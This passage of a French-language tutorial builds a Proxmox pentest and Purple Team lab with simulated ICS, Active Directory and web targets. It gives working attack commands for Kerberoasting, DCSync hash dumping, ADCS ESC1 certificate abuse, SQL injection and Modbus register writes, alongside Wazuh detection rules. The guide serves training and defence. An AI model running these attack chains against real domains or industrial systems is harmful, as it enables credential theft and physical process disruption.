qm importovf 301 metasploitable3.ova local-zfs
qm set 301 --net0 virtio,bridge=vmbr1,tag=30

7. Réseau ICS/OT Simulé

La sécurité des systèmes industriels (ICS/OT — Industrial Control Systems / Operational Technology) est un domaine en pleine expansion. Simuler un environnement SCADA dans votre lab vous donne un avantage compétitif considérable.

7.1 Déploiement de GRFICSv2

GRFICSv2 (Graphical Realism Framework for Industrial Control Simulations) est le projet de référence pour simuler un environnement ICS complet. Il inclut un processus chimique simulé, des PLCs virtuels, un HMI et un historien.

# Créer la VM pour GRFICSv2
qm create 400 --name grfics-sim --memory 4096 --cores 4 --cpu host \
  --scsihw virtio-scsi-single \
  --scsi0 local-zfs:40,iothread=1 \
  --net0 virtio,bridge=vmbr1,tag=40 \
  --ostype l26

# GRFICSv2 est distribué sous forme de VMs VirtualBox
# Conversion vers QCOW2 pour Proxmox :
qemu-img convert -f vmdk GRFICSv2-simulation.vmdk -O qcow2 grfics-sim.qcow2
qm importdisk 400 grfics-sim.qcow2 local-zfs

# Alternative : OpenPLC + ScadaBR dans un conteneur LXC
pct create 401 local:vztmpl/debian-12-standard_12.7-1_amd64.tar.zst \
  --hostname openplc \
  --memory 2048 --cores 2 \
  --rootfs local-zfs:10 \
  --net0 name=eth0,bridge=vmbr1,tag=40,ip=10.10.40.20/24,gw=10.10.40.1 \
  --start 1

# Installation d'OpenPLC dans le conteneur
pct enter 401

apt update && apt install -y git python3 python3-pip
git clone https://github.com/thiagoralves/OpenPLC_v3.git /opt/openplc
cd /opt/openplc
./install.sh linux

# OpenPLC sera accessible sur http://10.10.40.20:8080
# Login par défaut : openplc / openplc

7.2 Protocoles ICS à Pratiquer

Votre lab OT vous permettra de pratiquer les attaques sur les protocoles industriels courants :

• Modbus TCP (port 502) : protocole non authentifié, lecture/écriture de registres
• S7comm (port 102) : protocole Siemens, vulnérable au replay
• EtherNet/IP (port 44818) : protocole Rockwell/Allen-Bradley
• DNP3 (port 20000) : utilisé dans les réseaux électriques
• OPC UA (port 4840) : protocole moderne avec authentification

# Depuis Kali, scanner les services ICS
nmap -sV -p 502,102,44818,20000,4840 10.10.40.0/24

# Interagir avec Modbus via Python
pip3 install pymodbus
python3 -c "
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('10.10.40.20', port=502)
client.connect()
result = client.read_holding_registers(0, 10)
print(f'Registres: {result.registers}')
# Écriture dans un registre (DANGEREUX en production !)
client.write_single_register(0, 9999)
client.close()
"

8. Automatisation avec Terraform et Ansible

Reconstruire manuellement un lab après chaque session est fastidieux et source d'erreurs. L'Infrastructure as Code (IaC) résout ce problème en décrivant votre infrastructure dans des fichiers versionnés. Avec Terraform pour le provisioning et Ansible pour la configuration, vous pouvez reconstruire votre lab complet en 30 minutes.

Pour un guide approfondi sur le déploiement automatisé de Proxmox avec l'Infrastructure as Code, consultez notre article dédié sur le déploiement automatisé Proxmox avec IaC.

8.1 Terraform avec le Provider Proxmox

# Structure du projet Terraform
mkdir -p ~/lab-pentest-iac/{terraform,ansible,scripts}
cd ~/lab-pentest-iac/terraform

# Créer un token API Proxmox pour Terraform
pveum user add terraform@pve
pveum aclmod / -user terraform@pve -role PVEAdmin
pveum user token add terraform@pve terraform-token --privsep=0
# Notez le token ID et le secret

# Fichier terraform/main.tf
cat > main.tf << 'EOF'
terraform {
  required_providers {
    proxmox = {
      source  = "Telmate/proxmox"
      version = "~> 3.0"
    }
  }
}

provider "proxmox" {
  pm_api_url          = "https://192.168.1.100:8006/api2/json"
  pm_api_token_id     = "terraform@pve!terraform-token"
  pm_api_token_secret = var.proxmox_token_secret
  pm_tls_insecure     = true
}

# ─── Variables ───
variable "proxmox_token_secret" {
  type      = string
  sensitive = true
}

# ─── VM Kali Linux ───
resource "proxmox_vm_qemu" "kali" {
  name        = "kali-attack"
  target_node = "pve-lab"
  clone       = "kali-template"
  full_clone  = true
  vmid        = 100

  cores   = 4
  memory  = 8192
  cpu     = "host"
  scsihw  = "virtio-scsi-single"
  boot    = "order=scsi0"

  disk {
    slot    = "scsi0"
    size    = "80G"
    type    = "disk"
    storage = "local-zfs"
    iothread = 1
    discard = "on"
    ssd     = 1
  }

  network {
    model  = "virtio"
    bridge = "vmbr1"
    tag    = 10
  }

  ipconfig0 = "ip=10.10.10.10/24,gw=10.10.10.1"
}

# ─── VM DC01 ───
resource "proxmox_vm_qemu" "dc01" {
  name        = "DC01"
  target_node = "pve-lab"
  clone       = "win2022-template"
  full_clone  = true
  vmid        = 200

  cores   = 4
  memory  = 6144
  cpu     = "host"
  scsihw  = "virtio-scsi-single"
  boot    = "order=scsi0"
  os_type = "win11"
  bios    = "ovmf"
  machine = "q35"

  disk {
    slot    = "scsi0"
    size    = "60G"
    type    = "disk"
    storage = "local-zfs"
    iothread = 1
  }

  network {
    model  = "virtio"
    bridge = "vmbr1"
    tag    = 20
  }

  ipconfig0 = "ip=10.10.20.10/24,gw=10.10.20.1"
}

# ─── Conteneur LXC Web Targets ───
resource "proxmox_lxc" "web_targets" {
  hostname    = "web-targets"
  target_node = "pve-lab"
  ostemplate  = "local:vztmpl/debian-12-standard_12.7-1_amd64.tar.zst"
  vmid        = 300

  cores   = 4
  memory  = 4096
  swap    = 1024
  start   = true

  features {
    nesting = true
    keyctl  = true
  }

  rootfs {
    storage = "local-zfs"
    size    = "20G"
  }

  network {
    name   = "eth0"
    bridge = "vmbr1"
    tag    = 30
    ip     = "10.10.30.10/24"
    gw     = "10.10.30.1"
  }
}

# ─── Outputs ───
output "kali_ip" {
  value = "10.10.10.10"
}

output "dc01_ip" {
  value = "10.10.20.10"
}

output "web_targets_ip" {
  value = "10.10.30.10"
}
EOF

# Déployer l'infrastructure
cd ~/lab-pentest-iac/terraform
terraform init
terraform plan -var="proxmox_token_secret=YOUR_TOKEN_SECRET"
terraform apply -var="proxmox_token_secret=YOUR_TOKEN_SECRET" -auto-approve

# Détruire le lab quand on n'en a plus besoin
terraform destroy -var="proxmox_token_secret=YOUR_TOKEN_SECRET" -auto-approve

8.2 Ansible pour la Configuration Post-Déploiement

# Fichier ansible/inventory.yml
cat > ~/lab-pentest-iac/ansible/inventory.yml << 'EOF'
all:
  children:
    attack:
      hosts:
        kali:
          ansible_host: 10.10.10.10
          ansible_user: kali
          ansible_ssh_pass: kali
    ad_lab:
      hosts:
        dc01:
          ansible_host: 10.10.20.10
          ansible_user: Administrator
          ansible_password: "P@ssw0rd!Lab2026"
          ansible_connection: winrm
          ansible_winrm_transport: ntlm
          ansible_port: 5985
    targets:
      hosts:
        web-targets:
          ansible_host: 10.10.30.10
          ansible_user: root
EOF

# Fichier ansible/playbooks/setup-kali.yml
cat > ~/lab-pentest-iac/ansible/playbooks/setup-kali.yml << 'EOF'
---
- name: Configure Kali Attack VM
  hosts: attack
  become: yes
  tasks:
    - name: Update system
      apt:
        update_cache: yes
        upgrade: full

    - name: Install additional pentest tools
      apt:
        name:
          - bloodhound
          - neo4j
          - crackmapexec
          - evil-winrm
          - feroxbuster
          - certipy-ad
          - enum4linux-ng
          - seclists
          - wordlists
        state: present

    - name: Configure static IP
      copy:
        dest: /etc/network/interfaces.d/eth0
        content: |
          auto eth0
          iface eth0 inet static
              address 10.10.10.10/24
              gateway 10.10.10.1
              dns-nameservers 10.10.20.10 10.10.10.1

    - name: Set timezone
      timezone:
        name: Europe/Paris

    - name: Install QEMU Guest Agent
      apt:
        name: qemu-guest-agent
        state: present

    - name: Enable QEMU Guest Agent
      systemd:
        name: qemu-guest-agent
        enabled: yes
        state: started
EOF

# Fichier ansible/playbooks/setup-docker-targets.yml
cat > ~/lab-pentest-iac/ansible/playbooks/setup-docker-targets.yml << 'EOF'
---
- name: Configure Web Targets Container
  hosts: targets
  tasks:
    - name: Install Docker
      shell: curl -fsSL https://get.docker.com | sh
      args:
        creates: /usr/bin/docker

    - name: Create targets directory
      file:
        path: /opt/targets
        state: directory

    - name: Deploy docker-compose
      copy:
        src: ../files/docker-compose-targets.yml
        dest: /opt/targets/docker-compose.yml

    - name: Start all targets
      shell: cd /opt/targets && docker compose up -d
EOF

# Exécuter les playbooks
cd ~/lab-pentest-iac/ansible
ansible-playbook -i inventory.yml playbooks/setup-kali.yml
ansible-playbook -i inventory.yml playbooks/setup-docker-targets.yml

8.3 Templates Cloud-Init pour le Clonage Rapide

La création de templates cloud-init est essentielle pour accélérer le déploiement :

# Créer un template Kali avec cloud-init
# 1. Installer Kali normalement, configurer les outils
# 2. Installer cloud-init
apt install -y cloud-init
systemctl enable cloud-init

# 3. Nettoyer la VM
apt clean
truncate -s 0 /etc/machine-id
rm -f /var/lib/dbus/machine-id
cloud-init clean

# 4. Sur l'hôte Proxmox, convertir en template
qm set 100 --ide2 local-zfs:cloudinit
qm set 100 --ciuser kali --cipassword kali
qm set 100 --ipconfig0 ip=dhcp
qm template 100

# 5. Cloner pour chaque nouveau lab
qm clone 100 110 --name kali-lab-htb --full
qm set 110 --ipconfig0 ip=10.10.10.11/24,gw=10.10.10.1
qm start 110

9. Snapshots et Restauration

La gestion des snapshots est critique dans un lab de pentest. Après chaque exercice d'attaque, vous devez pouvoir restaurer l'environnement à un état propre rapidement.

9.1 Stratégies de Snapshots

# Stratégie en couches (du plus stable au plus volatile)

# Couche 1 : Golden Image (après installation + config initiale)
qm snapshot 200 golden --description "DC01 - AD DS installed, domain created"
qm snapshot 201 golden --description "WS01 - Joined to domain"
qm snapshot 100 golden --description "Kali - All tools installed"

# Couche 2 : Scénario (après configuration d'un scénario spécifique)
qm snapshot 200 scenario-kerberoast --description "AD with Kerberoastable accounts"
qm snapshot 200 scenario-adcs --description "AD with ADCS vulnerable templates"

# Couche 3 : Pre-exercise (juste avant de lancer l'attaque)
qm snapshot 200 pre-attack --description "Clean state before attack"

# Automatiser les snapshots de tous les VMs du lab
for vmid in 100 200 201 202 300; do
    qm snapshot $vmid pre-exercise --description "Pre-exercise $(date +%Y%m%d-%H%M)"
done

9.2 Linked Clones vs Full Clones

Proxmox supporte deux types de clones, chacun avec ses avantages :

Caractéristique	Full Clone	Linked Clone
Indépendant du template	✅ Oui	❌ Non — dépend du snapshot parent
Espace disque	100% de la taille du disque	Seulement les deltas (~5-20%)
Temps de création	Minutes (copie complète)	Secondes (instantané)
Performances	✅ Maximales	⚠️ Légèrement réduites (chaîne de snapshots)
Usage recommandé	VMs permanentes du lab	VMs temporaires, tests rapides

# Linked clone (rapide, économe en espace)
qm clone 100 150 --name kali-temp-oscp --snapname golden

# Full clone (indépendant, performances maximales)
qm clone 100 151 --name kali-permanent --full

# Vérifier l'espace utilisé par les snapshots ZFS
zfs list -t snapshot -o name,used,refer | sort -k2 -h

9.3 Planification des Sauvegardes

# Configuration des sauvegardes automatiques via l'interface web
# Datacenter → Backup → Add

# Ou via le fichier de configuration
cat >> /etc/pve/jobs.cfg << 'EOF'
vzdump: lab-backup-weekly
    enabled 1
    schedule sun 02:00
    storage local
    mode snapshot
    compress zstd
    mailnotification always
    mailto admin@pentest.lab
    pool lab-vms
    notes-template "Weekly lab backup - {{guestname}}"
    prune-backups keep-last=2,keep-weekly=4
EOF

# Sauvegarde manuelle de tout le lab
vzdump 100 200 201 202 300 400 --mode snapshot --compress zstd --storage local

10. Monitoring du Lab — Blue Team Practice

Un lab de pentest ne sert pas qu'à l'attaque. En ajoutant un stack de monitoring, vous transformez votre environnement en un lab Purple Team où vous pouvez simultanément attaquer et détecter. C'est une compétence de plus en plus demandée par les employeurs et les clients.

10.1 Déploiement de Wazuh

Wazuh est un SIEM/XDR open-source basé sur OSSEC. Il offre la détection d'intrusion, l'analyse de logs, le monitoring d'intégrité des fichiers et la réponse automatisée. C'est l'outil idéal pour un lab Purple Team.

# Créer la VM Wazuh
qm create 500 --name wazuh-siem --memory 8192 --cores 4 --cpu host \
  --scsihw virtio-scsi-single \
  --scsi0 local-zfs:100,iothread=1 \
  --net0 virtio,bridge=vmbr1,tag=50 \
  --ostype l26

# Après installation Debian/Ubuntu, déployer Wazuh all-in-one
curl -sO https://packages.wazuh.com/4.9/wazuh-install.sh
bash wazuh-install.sh -a -i

# Wazuh sera accessible sur https://10.10.50.10:443
# Credentials par défaut affichés à la fin de l'installation

# Installer l'agent Wazuh sur le DC
# PowerShell sur DC01 :
Invoke-WebRequest -Uri "https://packages.wazuh.com/4.x/windows/wazuh-agent-4.9.0-1.msi" -OutFile wazuh-agent.msi
msiexec /i wazuh-agent.msi /q WAZUH_MANAGER="10.10.50.10"
NET START WazuhSvc

10.2 Stack ELK pour l'Analyse de Logs

# Conteneur LXC pour ELK (nécessite au moins 6 Go RAM)
pct create 501 local:vztmpl/debian-12-standard_12.7-1_amd64.tar.zst \
  --hostname elk-stack \
  --memory 6144 --cores 4 \
  --rootfs local-zfs:50 \
  --net0 name=eth0,bridge=vmbr1,tag=50,ip=10.10.50.20/24,gw=10.10.50.1 \
  --features nesting=1 \
  --start 1

# Docker compose pour ELK
pct enter 501
curl -fsSL https://get.docker.com | sh

cat > /opt/elk/docker-compose.yml << 'EOF'
version: '3.8'
services:
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:8.15.0
    container_name: elasticsearch
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms2g -Xmx2g"
    ports:
      - "9200:9200"
    volumes:
      - es-data:/usr/share/elasticsearch/data

  kibana:
    image: docker.elastic.co/kibana/kibana:8.15.0
    container_name: kibana
    ports:
      - "5601:5601"
    environment:
      - ELASTICSEARCH_HOSTS=http://elasticsearch:9200
    depends_on:
      - elasticsearch

  logstash:
    image: docker.elastic.co/logstash/logstash:8.15.0
    container_name: logstash
    ports:
      - "5044:5044"
      - "514:514/udp"
    volumes:
      - ./logstash/pipeline:/usr/share/logstash/pipeline
    depends_on:
      - elasticsearch

volumes:
  es-data:
EOF

cd /opt/elk && docker compose up -d

10.3 Règles de Détection pour les Attaques AD

# Exemples de règles Wazuh personnalisées pour détecter les attaques AD
# Fichier : /var/ossec/etc/rules/local_rules.xml

<group name="active_directory,attack">
  <!-- Détection Kerberoasting (Event ID 4769 avec chiffrement RC4) -->
  <rule id="100001" level="12">
    <if_sid>60103</if_sid>
    <field name="win.system.eventID">^4769$</field>
    <field name="win.eventdata.ticketEncryptionType">^0x17$</field>
    <description>Possible Kerberoasting: TGS request with RC4 encryption</description>
    <mitre>
      <id>T1558.003</id>
    </mitre>
  </rule>

  <!-- Détection ASREPRoasting (Event ID 4768 sans pré-auth) -->
  <rule id="100002" level="12">
    <if_sid>60103</if_sid>
    <field name="win.system.eventID">^4768$</field>
    <field name="win.eventdata.preAuthType">^0$</field>
    <description>Possible ASREPRoasting: AS-REQ without pre-authentication</description>
    <mitre>
      <id>T1558.004</id>
    </mitre>
  </rule>

  <!-- Détection DCSync (Event ID 4662 avec droits de réplication) -->
  <rule id="100003" level="15">
    <if_sid>60103</if_sid>
    <field name="win.system.eventID">^4662$</field>
    <field name="win.eventdata.properties">1131f6aa-9c07-11d1-f79f-00c04fc2dcd2</field>
    <description>CRITICAL: Possible DCSync attack detected</description>
    <mitre>
      <id>T1003.006</id>
    </mitre>
  </rule>
</group>

Pour explorer les frameworks C2 que vous pouvez utiliser dans votre lab et détecter avec Wazuh, consultez notre article sur les frameworks C2 2026 : Mythic, Havoc et Sliver.

11. Conseils Avancés et Bonnes Pratiques

11.1 Optimisation des Performances

Un lab de pentest sollicite fortement les ressources. Voici les optimisations cruciales :

# 1. Ballooning mémoire — permet de récupérer la RAM inutilisée
qm set 200 --balloon 4096  # Le DC peut descendre à 4 Go si inactif

# 2. CPU pinning — éviter les conflits de scheduling
qm set 100 --affinity 0-3    # Kali sur les cœurs 0-3
qm set 200 --affinity 4-7    # DC01 sur les cœurs 4-7

# 3. IOThread — un thread dédié par disque virtuel
qm set 200 --scsi0 local-zfs:vm-200-disk-0,iothread=1

# 4. Hugepages — améliore les performances mémoire
echo "vm.nr_hugepages = 16384" >> /etc/sysctl.conf  # 32 Go en hugepages 2M
sysctl -p
qm set 200 --hugepages 2  # Activer pour les VMs critiques

# 5. Monitoring des performances en temps réel
apt install -y sysstat
iostat -x 1  # Surveiller les I/O disque
vmstat 1     # Surveiller la mémoire et le CPU

11.2 Sécurisation du Lab

• Isolation réseau : Le bridge vmbr1 ne doit avoir AUCUN port physique connecté à votre réseau domestique
• Pare-feu hôte : Activez le firewall Proxmox sur l'interface management
• Accès restreint : Limitez l'accès à l'interface web Proxmox par IP source
• Pas de NAT sortant : Les VLANs vulnérables (20, 30, 40) ne doivent JAMAIS avoir accès à Internet
• VPN d'accès : Si vous accédez au lab à distance, utilisez WireGuard sur le pare-feu

# Firewall Proxmox — Restreindre l'accès management
cat > /etc/pve/firewall/cluster.fw << 'EOF'
[OPTIONS]
enable: 1
policy_in: DROP
policy_out: ACCEPT

[RULES]
IN ACCEPT -source 192.168.1.0/24 -dest 192.168.1.100 -p tcp -dport 8006 -log nolog
IN ACCEPT -source 192.168.1.0/24 -dest 192.168.1.100 -p tcp -dport 22 -log nolog
IN DROP -log nolog
EOF

11.3 Organisation et Documentation

Un lab bien organisé est un lab productif. Voici nos recommandations :

• Naming convention : VMID 100-199 = Attack, 200-299 = AD, 300-399 = Targets, 400-499 = OT, 500-599 = Monitoring
• Tags Proxmox : Utilisez les tags pour catégoriser (attack, ad, target, ot, monitoring)
• Pool de ressources : Créez un pool « lab-pentest » pour regrouper toutes les VMs
• Notes VM : Documentez chaque VM (credentials par défaut, services exposés, vulnérabilités)
• Git : Versionnez vos fichiers Terraform, Ansible et scripts dans un dépôt Git privé

# Créer un pool et ajouter les VMs
pvesh create /pools --poolid lab-pentest --comment "Lab de pentest complet"
pvesh set /pools/lab-pentest --vms 100,200,201,202,300,400,500

# Ajouter des tags
qm set 100 --tags "attack,kali,vlan10"
qm set 200 --tags "ad,dc,vlan20,vulnerable"
qm set 300 --tags "targets,web,vlan30,docker"

12. Scénarios d'Exercices Pratiques

Disposer d'un lab ne suffit pas — encore faut-il savoir quoi pratiquer. Voici une série de scénarios d'exercices progressifs, classés par niveau de difficulté, qui exploitent pleinement l'infrastructure que nous venons de construire. Chaque scénario est conçu pour simuler des situations réelles rencontrées lors d'engagements pentest professionnels.

12.1 Scénarios Débutant — Fondamentaux

Exercice 1 : Reconnaissance Active Directory

L'objectif de ce premier exercice est de cartographier complètement le domaine Active Directory sans disposer d'aucun identifiant. C'est la phase initiale de tout pentest interne. Depuis votre machine Kali (10.10.10.10), commencez par identifier les services exposés sur le réseau AD :

# Phase 1 : Découverte réseau
nmap -sn 10.10.20.0/24 -oG discovery.gnmap
nmap -sV -sC -p- 10.10.20.10 -oA dc01-full

# Phase 2 : Enumération LDAP anonyme
ldapsearch -x -H ldap://10.10.20.10 -b "DC=pentest,DC=lab" -s base namingcontexts
enum4linux-ng -A 10.10.20.10

# Phase 3 : Enumération SMB
crackmapexec smb 10.10.20.10 --shares -u '' -p ''
smbclient -L //10.10.20.10 -N

# Phase 4 : Collecte de noms d'utilisateurs via RID cycling
crackmapexec smb 10.10.20.10 -u '' -p '' --rid-brute 10000

Cet exercice vous apprend les bases de l'énumération. Documentez chaque information découverte : noms d'utilisateurs, partages réseau accessibles, politique de mots de passe, services exposés. Ces données alimenteront les étapes suivantes.

Exercice 2 : Exploitation Web — OWASP Top 10

Connectez-vous aux applications web vulnérables déployées dans le conteneur LXC (VLAN 30) et pratiquez systématiquement chaque catégorie de l'OWASP Top 10 :

# Accéder aux cibles web depuis Kali
# Note : le routage inter-VLAN passe par pfSense
curl -s http://10.10.30.10:8081  # DVWA
curl -s http://10.10.30.10:8082  # Juice Shop
curl -s http://10.10.30.10:8083  # WebGoat

# Scanner les applications avec Nikto et Feroxbuster
nikto -h http://10.10.30.10:8081
feroxbuster -u http://10.10.30.10:8082 -w /usr/share/seclists/Discovery/Web-Content/common.txt

# SQLMap contre DVWA (après avoir récupéré le cookie de session)
sqlmap -u "http://10.10.30.10:8081/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=abc123;security=low" --dbs

Progressez dans DVWA en augmentant le niveau de sécurité (Low → Medium → High → Impossible) pour comprendre comment les protections sont implémentées et contournées. Juice Shop offre un tableau de scores intégré qui gamifie l'apprentissage — essayez de résoudre tous les challenges de niveau 1 à 3 avant de passer aux suivants.

12.2 Scénarios Intermédiaire — Exploitation AD

Exercice 3 : Chaîne d'Attaque Kerberoasting

Ce scénario reproduit l'une des attaques les plus courantes et les plus efficaces en pentest interne. L'objectif est de compromettre un compte Domain Admin en partant d'un compte standard :

# Prérequis : vous disposez d'un compte utilisateur standard
# (simulé en fournissant les credentials de t.support)

# Étape 1 : Identifier les comptes avec SPN (Kerberoastable)
impacket-GetUserSPNs pentest.lab/t.support:'Support2024!' -dc-ip 10.10.20.10 -request

# Étape 2 : Craquer les hashes TGS avec Hashcat
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Étape 3 : Si svc_backup est craqué (mot de passe: Backup2024)
# Ce compte est Domain Admin !
impacket-psexec pentest.lab/svc_backup:'Backup2024'@10.10.20.10

# Étape 4 : Dumper les hashes du domaine (DCSync)
impacket-secretsdump pentest.lab/svc_backup:'Backup2024'@10.10.20.10

Après avoir réalisé l'attaque, basculez en mode Blue Team : ouvrez Wazuh et vérifiez que les règles de détection ont bien alerté sur l'Event ID 4769 avec chiffrement RC4. Si ce n'est pas le cas, affinez vos règles. C'est l'essence même de l'approche Purple Team.

Exercice 4 : Exploitation ADCS (ESC1)

L'exploitation des services de certificats Active Directory est devenue un incontournable des pentests modernes :

# Étape 1 : Identifier les templates vulnérables
certipy-ad find -u t.support@pentest.lab -p 'Support2024!' -dc-ip 10.10.20.10 -vulnerable

# Étape 2 : Exploiter ESC1 — demander un certificat au nom du DA
certipy-ad req -u t.support@pentest.lab -p 'Support2024!' \
  -ca PENTEST-CA -template VulnTemplate \
  -upn administrator@pentest.lab -dc-ip 10.10.20.10

# Étape 3 : Utiliser le certificat pour obtenir un TGT
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.20.10

# Étape 4 : Pass the hash ou utiliser le TGT
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass pentest.lab/administrator@dc01.pentest.lab

12.3 Scénarios Avancé — Red Team & Purple Team

Exercice 5 : Simulation Red Team Complète

Ce scénario avancé simule un engagement Red Team complet de 4 heures. L'objectif est de compromettre l'intégralité du domaine AD en partant de zéro, tout en évitant la détection par Wazuh :

# Phase 1 — Initial Access (VLAN 30 vers VLAN 20)
# Exploiter une application web vulnérable pour obtenir un shell
# Pivoter via ligolo-ng vers le réseau AD

# Configuration ligolo-ng (sur Kali)
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 10.10.20.0/24 dev ligolo
./proxy -selfcert

# Phase 2 — Discovery & Credential Access
# Enumération AD avec BloodHound
bloodhound-python -u t.support -p 'Support2024!' -d pentest.lab -ns 10.10.20.10 -c all

# Phase 3 — Lateral Movement
# Identifier les sessions admin via BloodHound
# Se déplacer latéralement avec Pass-the-Hash ou overpass-the-hash

# Phase 4 — Privilege Escalation
# Exploiter la chaîne ACL découverte par BloodHound
# j.legacy → GenericAll sur Domain Admins → ajout au groupe

# Phase 5 — Domain Dominance
# DCSync pour la persistance
# Golden Ticket pour un accès permanent

L'exercice Purple Team consiste à réaliser cette attaque en mode split-screen : d'un côté votre terminal Kali, de l'autre le dashboard Wazuh. Identifiez chaque détection manquée et créez les règles correspondantes. C'est cette approche itérative qui vous fera progresser le plus rapidement.

Exercice 6 : Attaque ICS/OT

Ce scénario exploite le réseau OT simulé (VLAN 40) pour pratiquer les attaques spécifiques aux systèmes industriels. La méthodologie est très différente de l'IT traditionnel car la disponibilité prime sur la confidentialité :

# Reconnaissance passive des protocoles industriels
nmap -sV -p 502,102,44818,20000,4840 10.10.40.0/24 --script modbus-discover

# Lecture de registres Modbus (non destructif)
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('10.10.40.20')
c.connect()
# Lire les registres d'entrée (capteurs)
r = c.read_input_registers(0, 20)
print('Capteurs:', r.registers)
# Lire les registres de maintien (setpoints)
r = c.read_holding_registers(0, 20)
print('Setpoints:', r.registers)
c.close()
"

# Analyse du trafic avec Wireshark
# Capturer le trafic Modbus pour comprendre les échanges PLC ↔ HMI
tshark -i eth0 -f "port 502" -w /captures/modbus_traffic.pcap -a duration:60

13. Ressources Complémentaires et Communauté

Pour tirer le maximum de votre lab, voici les ressources indispensables que nous recommandons à nos clients et stagiaires chez Ayinedjimi Consultants.

13.1 Certifications et Formations Alignées

Votre lab Proxmox est le terrain d'entraînement idéal pour préparer les certifications suivantes :

• OSCP (Offensive Security Certified Professional) : la certification de référence en pentest. Votre lab avec des cibles web et Linux est parfait pour les exercices préparatoires. Créez des machines vulnérables personnalisées qui reproduisent le niveau de difficulté de l'examen.
• CRTP (Certified Red Team Professional) de Altered Security : entièrement axée sur l'Active Directory. Votre lab AD vulnérable avec Kerberoasting, ADCS et ACLs est exactement ce dont vous avez besoin pour préparer cette certification.
• PNPT (Practical Network Penetration Tester) de TCM Security : couvre l'ensemble du processus de pentest, de la reconnaissance à la rédaction du rapport. Votre lab multi-VLAN reproduit fidèlement les conditions de l'examen.
• OSEP (Offensive Security Experienced Penetration Tester) : pour les techniques avancées d'évasion et de post-exploitation. Le monitoring Wazuh vous permet de tester vos techniques d'évasion de détection.
• GICSP (Global Industrial Cyber Security Professional) : pour la sécurité ICS/OT. Votre VLAN 40 avec GRFICSv2 et OpenPLC est un atout considérable pour cette certification.

13.2 Import de Machines VulnHub et HTB

Enrichissez continuellement votre lab avec des machines de la communauté :

# Importer une machine VulnHub (.ova) dans Proxmox
# 1. Télécharger l'OVA
wget https://download.vulnhub.com/kioptrix/Kioptrix_Level_1.ova

# 2. Extraire le VMDK
tar xvf Kioptrix_Level_1.ova

# 3. Convertir en format QCOW2
qemu-img convert -f vmdk Kioptrix_Level_1.vmdk -O qcow2 kioptrix.qcow2

# 4. Créer la VM et importer le disque
qm create 310 --name kioptrix-1 --memory 512 --cores 1 \
  --net0 virtio,bridge=vmbr1,tag=30 --ostype l26
qm importdisk 310 kioptrix.qcow2 local-zfs
qm set 310 --scsi0 local-zfs:vm-310-disk-0
qm set 310 --boot order=scsi0

# Script d'import en masse
for ova in /path/to/ova/*.ova; do
    name=$(basename "$ova" .ova)
    vmid=$((310 + RANDOM % 80))
    echo "Importing $name as VM $vmid..."
    tar xf "$ova" -C /var/lib/vz/images/
    vmdk=$(find /var/lib/vz/images/ -name "*.vmdk" -newer "$ova" | head -1)
    qemu-img convert -f vmdk "$vmdk" -O qcow2 "/var/lib/vz/images/${name}.qcow2"
    qm create $vmid --name "$name" --memory 1024 --cores 1 \
      --net0 virtio,bridge=vmbr1,tag=30 --ostype l26
    qm importdisk $vmid "/var/lib/vz/images/${name}.qcow2" local-zfs
    echo "✅ $name imported as VM $vmid"
done

13.3 Maintenance et Mise à Jour du Lab

Un lab doit évoluer avec le paysage des menaces. Voici notre calendrier de maintenance recommandé :

Fréquence	Action	Détail
Hebdomadaire	Mise à jour Kali Linux	apt update && apt full-upgrade
Mensuel	Mise à jour Proxmox	apt update && apt dist-upgrade + reboot
Mensuel	Rotation des snapshots	Supprimer les anciens, recréer les golden images
Trimestriel	Ajout de nouvelles cibles	Importer de nouvelles machines VulnHub/HTB
Trimestriel	Mise à jour des règles Wazuh	Intégrer les dernières techniques MITRE ATT&CK
Semestriel	Rebuild complet Terraform	Tester que votre IaC fonctionne toujours
Annuel	Évaluation matérielle	Vérifier si un upgrade RAM/storage est nécessaire

# Script de maintenance automatisé (crontab sur l'hôte Proxmox)
cat > /usr/local/bin/lab-maintenance.sh << 'SCRIPT'
#!/bin/bash
# Maintenance hebdomadaire du lab pentest
LOG="/var/log/lab-maintenance.log"
echo "=== Lab Maintenance $(date) ===" >> $LOG

# Vérifier la santé du pool ZFS
zpool status -x >> $LOG 2>&1

# Nettoyer les snapshots de plus de 30 jours
zfs list -t snapshot -o name,creation -s creation | while read snap date; do
    snap_epoch=$(date -d "$date" +%s 2>/dev/null)
    now_epoch=$(date +%s)
    if [ -n "$snap_epoch" ] && [ $((now_epoch - snap_epoch)) -gt 2592000 ]; then
        echo "Deleting old snapshot: $snap" >> $LOG
        zfs destroy "$snap" 2>> $LOG
    fi
done

# Vérifier l'espace disque
df -h / >> $LOG
zfs list -o name,used,avail >> $LOG

echo "Maintenance complete." >> $LOG
SCRIPT

chmod +x /usr/local/bin/lab-maintenance.sh
echo "0 3 * * 0 root /usr/local/bin/lab-maintenance.sh" >> /etc/crontab

13.4 Résolution des Problèmes Courants

Au fil des années de gestion de labs pentest sur Proxmox, voici les problèmes les plus fréquents que nous rencontrons et leurs solutions :

Problème : Les VMs Windows sont extrêmement lentes

La cause la plus fréquente est l'absence des drivers VirtIO. Sans eux, Windows utilise des drivers émulés qui sont 10 à 50 fois plus lents. Solution :

# Vérifier que les drivers VirtIO sont installés dans la VM Windows
# Si non : télécharger l'ISO VirtIO et installer les drivers
# Redémarrer la VM et vérifier dans le Gestionnaire de Périphériques
# que tous les périphériques utilisent des drivers VirtIO (Red Hat)

# Autre cause fréquente : le disque est en IDE au lieu de VirtIO SCSI
qm set 200 --scsihw virtio-scsi-single
# Attention : il faut avoir les drivers VirtIO AVANT de changer le contrôleur !

Problème : La résolution DNS ne fonctionne pas entre VLANs

# Sur pfSense/OPNsense, vérifiez que le DNS Resolver/Forwarder
# écoute sur toutes les interfaces VLAN
# Services → DNS Resolver → Network Interfaces : All

# Alternative : configurer les VMs pour utiliser le DC comme DNS
# Sur Kali :
echo "nameserver 10.10.20.10" > /etc/resolv.conf
